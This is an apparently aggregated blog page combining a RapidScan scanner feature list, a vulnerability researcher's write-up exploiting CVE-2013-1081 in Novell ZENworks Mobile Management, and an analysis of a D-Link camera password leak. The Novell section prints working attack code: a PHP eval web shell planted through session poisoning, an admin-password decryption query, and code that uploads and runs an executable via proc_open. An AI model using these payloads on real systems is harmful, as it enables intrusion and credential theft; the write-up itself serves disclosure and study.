Blog di AlùK: 14 apr 2020

14 apr 2020

RapidScan: The Multi-Tool Website Vulnerabilities Scanner With Artificial Intelligence

RapidScan's Features:

One-step installation.
Executes a multitude of security scanning tools, does other custom coded checks and prints the results spontaneously.
Come of the tools include nmap, dnsrecon, wafw00f, uniscan, sslyze, fierce, lbd, theharvester, dnswalk, golismero etc executes under one entity.
Saves a lot of time, indeed a lot time!
Checks for same vulnerabilities with multiple tools to help you zero-in on false positives effectively.
Legends to help you understand which tests may take longer time, so you can Ctrl+C to skip if needed.
Association with OWASP Top 10 2017 on the list of vulnerabilities discovered. (under development)
Critical, high, large, low and informational classification of vulnerabilities.
Vulnerability definitions guides you what the vulnerability actually is and the threat it can pose
Remediations tells you how to plug/fix the found vulnerability.
Executive summary gives you an overall context of the scan performed with critical, high, low and informational issues discovered. (under development)
Artificial intelligence to deploy tools automatically depending upon the issues found. for eg; automates the launch of wpscan and plecost tools when a wordpress installation is found. (under development)
Detailed comprehensive report in a portable document format (*.pdf) with complete details of the scans and tools used. (under development)

For Your Infomation about RapidScan:

Program is still under development, works and currently supports 80 vulnerability tests.

Parallel processing is not yet implemented, may be coded as more tests gets introduced.

RapidScan supports checking for these vulnerabilities:

DNS/HTTP Load Balancers & Web Application Firewalls.
Checks for Joomla, WordPress and Drupal
SSL related Vulnerabilities (HEARTBLEED, FREAK, POODLE, CCS Injection, LOGJAM, OCSP Stapling).
Commonly Opened Ports.
DNS Zone Transfers using multiple tools (Fierce, DNSWalk, DNSRecon, DNSEnum).
Sub-Domains Brute Forcing.
Open Directory/File Brute Forcing.
Shallow XSS, SQLi and BSQLi Banners.
Slow-Loris DoS Attack, LFI (Local File Inclusion), RFI (Remote File Inclusion) & RCE (Remote Code Execution).

RapidScan's Requirements:

Kali Linux, Parrot Security OS, BlackArch... Linux distros that based for pentesters and hackers.
Python 2.7.x

RapidScan Installation:

RapidScan's screenshots:

RapidScan helping menu

RapidScan Intro

RapidScan Outro

How to contribute? If you want to contribute to the author. Read this.

Download RapidScan

Related word

Novell Zenworks MDM: Mobile Device Management For The Masses

I'm pretty sure the reason Novell titled their Mobile Device Management (MDM, yo) under the 'Zenworks' group is because the developers of the product HAD to be in a state of meditation (sleeping) when they were writing the code you will see below.

Time to wake up - https://www.youtube.com/watch?v=vQObWW06VAM

For some reason the other night I ended up on the Vupen website and saw the following advisory on their page:

Novell ZENworks Mobile Management LFI Remote Code Execution (CVE-2013-1081) [BA+Code]

I took a quick look around and didn't see a public exploit anywhere so after discovering that Novell provides 60 day demos of products, I took a shot at figuring out the bug.

The actual CVE details are as follows:

"Directory traversal vulnerability in MDM.php in Novell ZENworks Mobile Management (ZMM) 2.6.1 and 2.7.0 allows remote attackers to include and execute arbitrary local files via the language parameter."

After setting up a VM (Zenworks MDM 2.6.0) and getting the product installed it looked pretty obvious right away ( 1 request?) where the bug may exist:

POST /DUSAP.php HTTP/1.1
Host: 192.168.20.133
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.20.133/index.php
Cookie: PHPSESSID=3v5ldq72nvdhsekb2f7gf31p84
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

username=&password=&domain=&language=res%2Flanguages%2FEnglish.php&submit=

Pulling up the source for the "DUSAP.php" script the following code path stuck out pretty bad:

<?php
session_start();

$UserName = $_REQUEST['username'];
$Domain = $_REQUEST['domain'];
$Password = $_REQUEST['password'];
$Language = $_REQUEST['language'];
$DeviceID = '';

if ($Language !== '' && $Language != $_SESSION["language"])
{
//check for validity
if ((substr($Language, 0, 14) == 'res\\languages\\' || substr($Language, 0, 14) == 'res/languages/') && file_exists($Language))
{
$_SESSION["language"] = $Language;
}
}

if (isset($_SESSION["language"]))
{
require_once( $_SESSION["language"]);
} else
{
require_once( 'res\languages\English.php' );
}

$_SESSION['$DeviceSAKey'] = mdm_AuthenticateUser($UserName, $Domain, $Password, $DeviceID);

In English:

Check if the "language" parameter is passed in on the request
If the "Language" variable is not empty and if the "language" session value is different from what has been provided, check its value
The "validation" routine checks that the "Language" variable starts with "res\languages\" or "res/languages/" and then if the file actually exists in the system
If the user has provided a value that meets the above criteria, the session variable "language" is set to the user provided value
If the session variable "language" is set, include it into the page
Authenticate

So it is possible to include any file from the system as long as the provided path starts with "res/languages" and the file exists. To start off it looked like maybe the IIS log files could be a possible candidate to include, but they are not readable by the user everything is executing under…bummer. The next spot I started looking for was if there was any other session data that could be controlled to include PHP. Example session file at this point looks like this:

$error|s:12:"Login Failed";language|s:25:"res/languages/English.php";$DeviceSAKey|i:0;

The "$error" value is server controlled, the "language" has to be a valid file on the system (cant stuff PHP in it), and "$DeviceSAKey" appears to be related to authentication. Next step I started searching through the code for spots where the "$_SESSION" is manipulated hoping to find some session variables that get set outside of logging in. I ran the following to get a better idea of places to start looking:

egrep -R '\$_SESSION\[.*\] =' ./

This pulled up a ton of results, including the following:

/desktop/download.php:$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];

Taking a look at the "download.php" file the following was observed:

<?php
session_start();
if (isset($_SESSION["language"]))
{
require_once( $_SESSION["language"]);
} else
{
require_once( 'res\languages\English.php' );
}
$filedata = $_SESSION['filedata'];
$filename = $_SESSION['filename'];
$usersakey = $_SESSION['UserSAKey'];

$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$active_user_agent = strtolower($_SESSION['user_agent']);

$ext = substr(strrchr($filename, '.'), 1);

if (isset($_SESSION['$DeviceSAKey']) && $_SESSION['$DeviceSAKey'] > 0)
{

} else
{
$_SESSION['$error'] = LOGIN_FAILED_TEXT;
header('Location: index.php');
}

The first highlighted part sets a new session variable "user_agent" to whatever our browser is sending, good so far.... The next highlighted section checks our session for "DeviceSAKey" which is used to check that the requester is authenticated in the system, in this case we are not so this fails and we are redirected to the login page ("index.php"). Because the server stores our session value before checking authentication (whoops) we can use this to store our payload to be included :)

This will create a session file named "sess_payload" that we can include, the file contains the following:

user_agent|s:34:"<?php echo(eval($_GET['cmd'])); ?>";$error|s:12:"Login Failed";

Now, I'm sure if you are paying attention you'd say "wait, why don't you just use exec/passthru/system", well the application installs and configures IIS to use a "guest" account for executing everything – no execute permissions for system stuff (cmd.exe,etc) :(. It is possible to get around this and gain system execution, but I decided to first see what other options are available. Looking at the database, the administrator credentials are "encrypted", but I kept seeing a function being used in PHP when trying to figure out how they were "encrypted": mdm_DecryptData(). No password or anything is provided when calling the fuction, so it can be assumed it is magic:

return mdm_DecryptData($result[0]['Password']);

Ends up it is magic – so I sent the following PHP to be executed on the server -

$pass=mdm_ExecuteSQLQuery("SELECT Password FROM Administrators where AdministratorSAKey = 1",array(),false,-1,"","","",QUERY_TYPE_SELECT);
echo $pass[0]["UserName"].":".mdm_DecryptData($pass[0]["Password"]);

Now that the password is available, you can log into the admin panel and do wonderful things like deploy policy to mobile devices (CA + proxy settings :)), wipe devices, pull text messages, etc….

This functionality has been wrapped up into a metasploit module that is available on github:

https://github.com/steponequit/CVE-2013-1081/blob/master/novell_mdm_creds.rb

Next up is bypassing the fact we cannot use "exec/system/passthru/etc" to execute system commands. The issue is that all of these commands try and execute whatever is sent via the system "shell", in this case "cmd.exe" which we do not have rights to execute. Lucky for us PHP provides "proc_open", specifically the fact "proc_open" allows us to set the "bypass_shell" option. So knowing this we need to figure out how to get an executable on the server and where we can put it. The where part is easy, the PHP process user has to be able to write to the PHP "temp" directory to write session files, so that is obvious. There are plenty of ways to get a file on the server using PHP, but I chose to use "php://input" with the executable base64'd in the POST body:

$wdir=getcwd()."\..\..\php\\\\temp\\\\";
file_put_contents($wdir."cmd.exe",base64_decode(file_get_contents("php://input")));

This bit of PHP will read the HTTP post's body (php://input) , base64 decode its contents, and write it to a file in a location we have specified. This location is relative to where we are executing so it should work no matter what directory the product is installed to.

After we have uploaded the file we can then carry out another request to execute what has been uploaded:

$wdir=getcwd()."\..\..\php\\\\temp\\\\";
$cmd=$wdir."cmd.exe";
$output=array();
$handle=proc_open($cmd,array(1=>array("pipe","w")),$pipes,null,null,array("bypass_shell"=>true));
if(is_resource($handle))
{
$output=explode("\\n",+stream_get_contents($pipes[1]));
fclose($pipes[1]);
proc_close($handle);
}
foreach($output+as &$temp){echo+$temp."\\r\\n";};

The key here is the "bypass_shell" option that is passed to "proc_open". Since all files that are created by the process user in the PHP "temp" directory are created with "all of the things" permissions, we can point "proc_open" at the file we have uploaded and it will run :)

This process was then rolled up into a metasploit module which is available here:

https://github.com/steponequit/CVE-2013-1081/blob/master/novell_mdm_lfi.rb

Update: Metasploit modules are now available as part of metasploit.

Related news

BeEF: Browser Exploitation Framework

"BeEF is the browser exploitation framework. A professional tool to demonstrate the real-time impact of XSS browser vulnerabilities. Development has focused on creating a modular structure making new module development a trivial process with the intelligence residing within BeEF. Current modules include the first public Inter-protocol Exploit, a traditional browser overflow exploit, port scanning, keylogging, clipboard theft and more." read more...

Website: http://www.bindshell.net/tools/beef

Memcrashed DDoS Exploit | Install | Github

Related links

Open Sesame (Dlink - CVE-2012-4046)

A couple weeks ago a vulnerability was posted for the dlink DCS-9xx series of cameras. The author of the disclosure found that the setup application that comes with the camera is able to send a specifically crafted request to a camera on the same network and receive its password in plaintext. I figured this was a good chance to do some analysis and figure out exactly how the application carried out this functionality and possibly create a script to pull the password out of a camera.

The basic functionality of the application is as follows:

Application sends out a UDP broadcast on port 5978
Camera sees the broadcast on port 5978 and inspects the payload – if it sees that the initial part of the payload contains "FF FF FF FF FF FF" it responds (UDP broadcast port 5978) with an encoded payload with its own MAC address
Application retrieves the camera's response and creates another UDP broadcast but this time it sets the payload to contain the target camera's MAC address, this encoded value contains the command to send over the password
Camera sees the broadcast on port 5978 and checks that it is meant for it by inspecting the MAC address that has been specified in the payload, it responds with an encoded payload that contains its password (base64 encoded)

After spending some time with the application in a debugger I found what looked like it was responsible for the decoding of the encoded values that are passed:

super exciting screen shot.

After spending some time documenting the functionality I came up with the following notes (messy wall of text):


	Command	Comments
	.JGE SHORT 0A729D36	; stage1
	./MOV EDX,DWORD PTR SS:[LOCAL.2]	; set EDX to our 1st stage half decoded buffer
	.\|MOV ECX,DWORD PTR SS:[LOCAL.4]	; set ECX to our current count/offset
	.\|MOV EAX,DWORD PTR SS:[LOCAL.3]	; set EAX to our base64 encoded payload
	.\|MOVSX EAX,BYTE PTR DS:[EAX]	; set EAX to the current value in our base64 payload
	.\|MOV AL,BYTE PTR DS:[EAX+0A841934]	; set EAX/AL to a hardcoded offset of its value table is at 0a841934
	.\|MOV BYTE PTR DS:[ECX+EDX],AL	; ECX = Offset, EDX = start of our half-decoded buffer, write our current byte there
	.\|INC DWORD PTR SS:[LOCAL.4]	; increment our offset/count
	.\|INC DWORD PTR SS:[LOCAL.3]	; increment our base64 buffer to next value
	.\|MOV EDX,DWORD PTR SS:[LOCAL.4]	; set EDX to our counter
	.\|CMP EDX,DWORD PTR SS:[ARG.2]	; compare EDX (counter) to our total size
	.\JL SHORT 0A729D13	; jump back if we have not finished half decoding our input value
	.MOV ECX,DWORD PTR SS:[ARG.3]	; Looks like this will point at our decoded buffer
	.MOV DWORD PTR SS:[LOCAL.5],ECX	; set Arg5 to our decoded destination
	.MOV EAX,DWORD PTR SS:[LOCAL.2]	; set EAX to our half-decoded buffer
	.MOV DWORD PTR SS:[LOCAL.3],EAX	; set arg3 to point at our half-decoded buffer
	.MOV EDX,DWORD PTR SS:[ARG.4]	; ???? 1500 decimal
	.XOR ECX,ECX	; clear ECX
	.MOV DWORD PTR DS:[EDX],ECX	; clear out arg4 value
	.XOR EAX,EAX	; clear out EAX
	.MOV DWORD PTR SS:[LOCAL.6],EAX	; clear out local.6
	.JMP SHORT 0A729DAE	; JUMP

	./MOV EDX,DWORD PTR SS:[LOCAL.3]	; move our current half-decoded dword position into EDX
	.\|MOV CL,BYTE PTR DS:[EDX]	; move our current byte into ECX (CL) (dword[0])
	.\|SHL ECX,2	; shift left 2 dword[0]
	.\|MOV EAX,DWORD PTR SS:[LOCAL.3]	; move our current dword position into EAX
	.\|MOVSX EDX,BYTE PTR DS:[EAX+1]	; move our current dword position + 1 (dword[1]) into EDX
	.\|SAR EDX,4	; shift right 4 dword[1]
	.\|ADD CL,DL	; add (shift left 2 dword[0]) + (shift right 4 dword[1])
	.\|MOV EAX,DWORD PTR SS:[LOCAL.5]	; set EAX to our current decoded buffer position
	.\|MOV BYTE PTR DS:[EAX],CL	; write our decoded (dword[0]) value to or decoded buffer
	.\|INC DWORD PTR SS:[LOCAL.5]	; increment our position in the decoded buffer
	.\|MOV EDX,DWORD PTR SS:[LOCAL.3]	; set EDX to our current dword position
	.\|MOV CL,BYTE PTR DS:[EDX+1]	; set ECX to dword[1]
	.\|SHL ECX,4	; left shift 4 dword[1]
	.\|MOV EAX,DWORD PTR SS:[LOCAL.3]	; set EAX to our current dword position
	.\|MOVSX EDX,BYTE PTR DS:[EAX+2]	; set EDX to dword[2]
	.\|SAR EDX,2	; shift right 2 dword[2]
	.\|ADD CL,DL	; add (left shift 4 dword[1]) + (right shift 2 dword[2])
	.\|MOV EAX,DWORD PTR SS:[LOCAL.5]	; set EAX to our next spot in the decoded buffer
	.\|MOV BYTE PTR DS:[EAX],CL	; write our decoded value into our decoded buffer
	.\|INC DWORD PTR SS:[LOCAL.5]	; move to the next spot in our decoded buffer
	.\|MOV EDX,DWORD PTR SS:[LOCAL.3]	; set EDX to our current half-decoded dword
	.\|MOV CL,BYTE PTR DS:[EDX+2]	; set ECX dword[2]
	.\|SHL ECX,6	; shift left 6 dword[2]
	.\|MOV EAX,DWORD PTR SS:[LOCAL.3]	; set EAX to our current half-decoded dword
	.\|ADD CL,BYTE PTR DS:[EAX+3]	; add dword[2] + dword[3]
	.\|MOV EDX,DWORD PTR SS:[LOCAL.5]	; set EDX to point at our next spot in our decoded buffer
	.\|MOV BYTE PTR DS:[EDX],CL	; write our decoded byte to our decoded buffer
	.\|INC DWORD PTR SS:[LOCAL.5]	; move to the next spot in our decoded buffer
	.\|ADD DWORD PTR SS:[LOCAL.3],4	; increment our encoded buffer to point at our next dword
	.\|MOV ECX,DWORD PTR SS:[ARG.4]	; set ECX to our current offset?
	.\|ADD DWORD PTR DS:[ECX],3	; add 3 to our current offset?
	.\|ADD DWORD PTR SS:[LOCAL.6],4	; add 4 to our byte counter??
	.\|MOV EAX,DWORD PTR SS:[ARG.2]	; move total size into EAX
	.\|ADD EAX,-4	; subtract 4 from total size
	.\|CMP EAX,DWORD PTR SS:[LOCAL.6]	; compare our total bytes to read bytes
	.\JG SHORT 0A729D50	; jump back if we are not done

	.MOV EDX,DWORD PTR SS:[LOCAL.3]	; set EDX to our last DWORD of encoded buffer
	.MOVSX ECX,BYTE PTR DS:[EDX+3]	; set ECX to dword[3] last byte of our half-decoded dword (dword + 3)
	.INC ECX	; increment the value of dword[3]
	.JE SHORT 0A729E1E
	.MOV EAX,DWORD PTR SS:[LOCAL.3]	; set EAX to our current half-decoded dword
	.MOV DL,BYTE PTR DS:[EAX]	; set EDX (DL) to dword[0]
	.SHL EDX,2	; shift left 2 dword[0]
	.MOV ECX,DWORD PTR SS:[LOCAL.3]	; set ECX to our current encoded dword position
	.MOVSX EAX,BYTE PTR DS:[ECX+1]	; set EAX to dword[1]
	.SAR EAX,4	; shift right 4 dword[1]
	.ADD DL,AL	; add (shifted left 2 dword[0]) + (shifted right 4 dword[1])
	.MOV ECX,DWORD PTR SS:[LOCAL.5]	; set ECX to point at our next spot in our decoded buffer
	.MOV BYTE PTR DS:[ECX],DL	; write our decoded value (EDX/DL) to our decoded buffer
	.INC DWORD PTR SS:[LOCAL.5]	; move to the next spot in our decoded buffer
	.MOV EDX,DWORD PTR SS:[LOCAL.3]	; set EDX to point at our dword
	.MOV AL,BYTE PTR DS:[EDX+1]	; set EAX/AL to dword[1]
	.SHL EAX,4	; shift left 4 dword[1]
	.MOV EDX,DWORD PTR SS:[LOCAL.3]	; set EDX to our current dword
	.MOVSX ECX,BYTE PTR DS:[EDX+2]	; set ECX to dword[2]
	.SAR ECX,2	; shift right 2 dword[2]
	.ADD AL,CL	; add (shifted left 4 dword[1]) + (shifted right 2 dword[2])
	.MOV EDX,DWORD PTR SS:[LOCAL.5]	; set EDX to point at our current spot in our decoded buffer
	.MOV BYTE PTR DS:[EDX],AL	; write our decoded value to the decoded buffer
	.INC DWORD PTR SS:[LOCAL.5]	; move to the next spot in our decoded buffer
	.MOV EAX,DWORD PTR SS:[LOCAL.3]	; set EAX to point at our current dword
	.MOV CL,BYTE PTR DS:[EAX+2]	; set ECX/CL to dword[2]
	.SHL ECX,6	; shift left 6 dword[2]
	.MOV EAX,DWORD PTR SS:[LOCAL.3]	; point EAX at our current dword
	.ADD CL,BYTE PTR DS:[EAX+3]	; add dword[3] + (shifted left 6 dword[2])
	.MOV EDX,DWORD PTR SS:[LOCAL.5]	; point EDX at our current decoded buffer
	.MOV BYTE PTR DS:[EDX],CL	; write our decoded value to the decoded buffer
	.INC DWORD PTR SS:[LOCAL.5]	; increment our deocded buffer
	.MOV ECX,DWORD PTR SS:[ARG.4]	; set ECX to our current offset?
	.ADD DWORD PTR DS:[ECX],3	; add 4 for our current byte counter?
	.JMP 0A729EA6	; jump

Translated into english: the application first uses a lookup table to translate every byte in the input string, to do this it uses the value of the current byte as an offset into the table. After it is done with "stage1" it traverses the translated input buffer a dword at a time and does some bit shifting and addition to fully decode the value. The following roughly shows the "stage2" routine:

(Dword[0] << 2) + (Dword[1] >> 4) = unencoded byte 1

(Dword[1] << 4) + (Dword[2] >> 2) = unencoded byte 2

(Dword[2] << 6) + Dword[3] = unencoded byte 3

I then confirmed that this routine worked on an "encoded" value that went over the wire from the application to the camera. After confirming the encoding scheme worked, I recreated the network transaction the application does with the camera to create a stand alone script that will retrieve the password from a camera that is on the same lan as the "attacker". The script can be found here, thanks to Jason Doyle for the original finding (@jasond0yle ).